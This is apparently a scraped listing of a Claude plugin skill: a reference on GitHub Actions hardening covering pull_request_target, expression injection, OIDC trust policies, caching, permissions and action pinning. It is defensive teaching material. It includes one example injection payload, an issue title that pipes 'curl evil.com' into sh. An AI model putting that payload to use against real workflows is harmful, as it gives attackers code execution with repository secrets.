From ct
Deep GitHub Actions operational intuition — concurrency groups, OIDC federation, matrix semantics, composite vs reusable workflows, cache scope, expression injection, pull_request_target footguns, v4 artifact/cache breaking changes. Load for workflow gotchas, security hardening, OIDC setup, cache behavior, runner pinning, or reusable- vs-composite design. Skip for first-time CI workflow authoring. Triggers on: "pull_request_target", "pwn request", "expression injection", "OIDC trust", "reusable workflow", "actions/cache v4", "actions/upload-artifact v4", "GITHUB_TOKEN permissions", "id-token write", "fork PR secrets".
How this skill is triggered — by the user, by Claude, or both
Slash command
/ct:github-actionsThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
Concise pointers for deep GitHub Actions troubleshooting, hardening, and design.
Concise pointers for deep GitHub Actions troubleshooting, hardening, and design.
Assumes you already know workflow YAML, jobs/steps, and how to read a run log. This skill covers the operational layer — the parts models gloss over: trigger-context security, OIDC federation, matrix edge cases, cache scope, version-introduced breaking changes, and the security footguns that cause repo compromise.
Load when the question is about:
pull_request_target / workflow_run / fork-PR secret leakage / pwn requests${{ github.event.* }} in run: blocks)include/exclude edge cases, fail-fast, max-parallelubuntu-latest rollover) and deprecation timingGITHUB_TOKEN permissions hardeningDo NOT load for: writing a basic on: push workflow, choosing runs-on: ubuntu-latest first time, "what is a job", how to call an action from marketplace — those don't need this skill.
pull_request runs from the PR's merge ref (refs/pull/N/merge); for PRs from forks, secrets are stripped and GITHUB_TOKEN is read-only by default. Forked code is sandboxed. Safe to checkout PR head.pull_request_target runs from the base branch workflow file with write GITHUB_TOKEN and full secrets. As of late 2025, the workflow file is always sourced from the default branch regardless of PR base.pull_request_target + actions/checkout with ref: ${{ github.event.pull_request.head.sha }} followed by any build/install step (npm install, make, pytest) → arbitrary code execution with write token + secrets in memory. npm's preinstall/postinstall lifecycle scripts are a common exfiltration channel.pull_request builds in isolation and uploads an artifact. workflow_run (after the first completes) runs in trusted context, downloads artifact, validates, then operates. Always unzip artifacts to /tmp and validate before consuming — artifact poisoning is a documented attack.workflow_run runs against the default branch's workflow file but github.event.workflow_run.head_* reflects the upstream trigger. Filter via if: github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.conclusion == 'success'.run: echo "${{ github.event.issue.title }}" is direct shell-template substitution — not parameter passing. Title z"; curl evil.com | sh; # becomes inline script.github.event.head_commit.message), email address, label names.$VAR (so the shell handles it as a string, not script):
env:
TITLE: ${{ github.event.issue.title }}
run: echo "$TITLE"
actions/github-script script: field and any place expression syntax expands into an interpreter.script_injections.ql CodeQL pack from GitHub Security Lab.permissions: { id-token: write, contents: read }. Without id-token: write, the runner cannot mint the OIDC JWT.sub field cloud trust policies key on):
repo:OWNER/REPO:ref:refs/heads/BRANCH — branch-scopedrepo:OWNER/REPO:environment:NAME — environment-scoped (only when job declares environment:)repo:OWNER/REPO:pull_request — PR-scoped (forked-PR token has reduced scope)repo:OWNER/REPO:ref:refs/tags/TAG — tag-scopedsub. StringLike: token.actions.githubusercontent.com:sub: repo:OWNER/REPO:* is the minimum acceptable — without it, ANY repo could assume the role. Prefer StringEquals against a specific ref/environment.aws-actions/configure-aws-credentials@v4 with role-to-assume (ARN) + aws-region. Audience defaults to sts.amazonaws.com. Calls AssumeRoleWithWebIdentity.google-github-actions/auth@v2 with workload_identity_provider (full resource path: projects/N/locations/global/workloadIdentityPools/POOL/providers/PROVIDER) + service_account (email). Direct WIF (no service account) is preferred.azure/login@v2 with client-id + tenant-id + subscription-id. Set up federated credential on the service principal or user-assigned managed identity, with issuer https://token.actions.githubusercontent.com.repo_property_* can be added to the JWT for fine-grained policies.concurrency: { group: "${{ github.workflow }}-${{ github.ref }}", cancel-in-progress: true } — group is an evaluated expression; one run in-flight per group, new run cancels the prior.cancel-in-progress: false (default) queues instead of cancelling. Only ONE queued run is retained — additional triggers replace the queued one (the in-flight run continues unaffected).concurrency: for finer-grained per-deploy serialization (e.g., one production deploy at a time across all branches: group: deploy-prod).cancel-in-progress: false + group on environment to serialize without losing runs.strategy.matrix.OS: [ubuntu, macos] × node: [18, 20] produces the cross product (4 jobs).include: has two distinct behaviors:
exclude: removes combinations matching all listed keys. Exclude evaluates before include.fail-fast defaults to true — one failed matrix job cancels all in-progress + queued. Set fail-fast: false to see all failures (the standard for cross-platform/cross-version test matrices).max-parallel caps simultaneous matrix jobs (the rest queue).outputs.X, the last writer wins. Use unique output names (outputs.${{ matrix.os }}_result) or write to artifacts.action.yml, runs.using: composite, runs.steps: [...]):
inputs: (no secrets: inherit)shell: per stepruns-on: — inherits from caller.github/workflows/X.yml, on: workflow_call):
jobs.<id>.uses: ./.github/workflows/X.yml@SHA (same repo) or OWNER/REPO/.github/workflows/X.yml@REF (cross-repo)secrets: inherit passes all caller secrets implicitly (only within same org/enterprise)workflow_call does not support environment: at the trigger levelactions/cache@v4)key: is exact. restore-keys: is an ordered list of prefixes to fall back to.key in current branch → key prefix-match in current branch → restore-keys prefixes in current branch → repeat all three on default branch. PR-merge-ref caches are isolated to that PR's re-runs only.main, read from anywhere).main or sibling branches.${{ runner.os }} in the key, or set enableCrossOsArchive: true (opt-in, Windows-originated only).actions/cache/restore@v4 and actions/cache/save@v4 are separate. Lets you save conditionally (e.g., only on cache miss + successful build) instead of the implicit POST step writeback in v3.node_modules instead of ~/.npm. The latter restores faster because npm reuses unpacked content. For Yarn, cache ~/.cache/yarn.actions/upload-artifact@v4 / download-artifact@v4)logs-${{ matrix.os }}), then actions/download-artifact@v4 with pattern: + merge-multiple: true, OR use actions/upload-artifact/merge@v4 after the matrix completes.retention-days: overrides the repo default (90 days max).ubuntu-latest is ubuntu-24.04 as of late 2024 (was 22.04 prior). The label rolls automatically over a ~1-2 month window after a new GA. For reproducibility, pin to ubuntu-24.04 explicitly.github.com/actions/runner-images lists package versions per image — diff before/after rollover when "it works locally / breaks in CI."windows-latest and macos-latest follow the same rollover pattern; macOS lags Apple GA by ~6 months.config.sh): retains workspace + state between jobs. Compromise of one job exposes secrets, env vars, and disk artifacts to next job. Avoid for public repos.config.sh --ephemeral): processes exactly one job, then auto-deregisters. Required for any runner exposed to fork PRs.POST /repos/{o}/{r}/actions/runners/generate-jitconfig returns a single-use config token; runner registers, runs one job, exits. Stateless by construction.contents: read only, all else none). Check Settings → Actions → Workflow permissions.permissions: key. Listing any scope sets all unlisted scopes to none. Use permissions: {} to drop all (token still authenticates as the workflow but has no scopes).contents, pull-requests, issues, id-token, packages, pages, deployments, actions, checks, statuses, security-events. Each: read, write, or none.id-token: write is mandatory for OIDC JWT minting.GITHUB_TOKEN is rate-limited at 1,000 req/hour per repo (15,000 on Enterprise Cloud). Bulk operations may exhaust this — use a PAT or GitHub App for those.***). Variables are not.environment: NAME.${{ secrets.X }} and ${{ vars.X }} evaluate server-side before the runner sees them; logs of the rendered YAML never contain the value.echo "::add-mask::$VALUE". Run before any echo $VALUE. Calling add-mask directly on a ${{ }} interpolation in the same step still leaks because the expression resolves before the masker activates — assign to env first, then mask the env var.environment: NAME on a job gates execution behind protection rules.if: github.actor == 'X' — actor checks are bypassable in some forked-PR contexts and offer no audit trail.actions/checkout@v4 becomes actions/checkout@A1B2.... Tags are mutable; a compromised maintainer can re-point v4 silently. SHA pinning is the only immutable reference (would require SHA-1 collision to subvert).package-ecosystem: github-actions updater understands SHA pinning and proposes upgrades with the resolved tag in the PR body.tj-actions/changed-files and reviewdog/action-setup compromises propagated through tag re-points; SHA-pinned consumers were unaffected.step-security/harden-runner provides egress filtering and tampering detection on Linux runners.schedule: cron: "*/5 * * * *" — minimum interval 5 minutes. UTC timezone. Runs are best-effort and can skip during high load. Cron runs only on the default branch's workflow file.workflow_dispatch.inputs.<name>.type: string, choice (with options:), boolean, number, or environment. Inputs are accessible via inputs.<name> (not github.event.inputs in newer syntax — both work).repository_dispatch external trigger: event_type is the dispatcher's chosen string; client_payload exposed via github.event.client_payload (max 10 top-level properties, 65 KB).push and pull_request paths:/paths-ignore: use minimatch globs. paths-ignore runs before paths; if a file matches paths-ignore, the workflow is skipped even if it matches paths.branches: matches against the ref triggering the event — for pull_request, it's the base branch (target of the PR), not the head.toJSON(v), fromJSON(s), hashFiles(glob), contains(haystack, needle), startsWith, endsWith, format("{0}-{1}", a, b), join(array, sep). hashFiles glob is rooted at workspace; result is SHA-256.success() (default if if: references a status), failure(), cancelled(), always(). always() runs even if cancelled — use it for cleanup, but it makes the workflow uncancellable from the UI for that step.==, !=, <, <=, >, >=, &&, ||, !. String comparison is case-insensitive. == does loose type coercion to numbers.false, 0, -0, "", null. Missing context fields evaluate to null (not error).obj.*.field returns array of field values across all entries.if: at the top level of a job/step accepts either bare expression or ${{ }}-wrapped — both work, and combining causes parsing surprises with &&/|| outside the braces.GITHUB_TOKEN per repo (15k Enterprise Cloud).ACTIONS_STEP_DEBUG=true enables ::debug:: log output (per-step expression resolution, env vars).ACTIONS_RUNNER_DEBUG=true enables runner internals (network, file I/O).::group::TITLE / ::endgroup:: for collapsible blocks; ::error file=path,line=N::msg, ::warning::, ::notice:: create annotations attached to commits.act (nektos/act) for local execution: useful for fast iteration on logic, but cannot perfectly emulate runner images, OIDC, secrets behavior, or matrix scheduling. Treat its results as approximate.Official GitHub docs (docs.github.com/en/actions):
Action repos:
actions/cache — scope rules in READMEactions/runner-images — image CHANGELOGsactions/upload-artifact — v4 migration notesaws-actions/configure-aws-credentialsgoogle-github-actions/authAzure/loginSecurity research:
Before recommending a workflow change that touches secrets, triggers, or write-scoped tokens:
permissions: scope being granted.github.event.* from PR/issue/comment).pull_request_target or workflow_run is involved, verify there is no checkout-then-execute of PR-controlled content.sub constraint so the role cannot be assumed by other repos.Default tokens are too generous; never weaken permissions: to fix a 403 — fix the missing scope explicitly.
npx claudepluginhub pvillega/claude-templates --plugin ctDesign, debug, and harden GitHub Actions CI/CD workflows, including reusable workflows, matrix builds, self-hosted runners, OIDC authentication, caching, environments, secrets, and release automation.
Reference for GitHub Actions workflow best practices, including runner context, timeout-minutes, caching, concurrency, and security. Use when writing or debugging .yml workflows.
Provides GitHub Actions workflow templates for automated testing, Docker builds, and Kubernetes deployments. Use for CI/CD automation.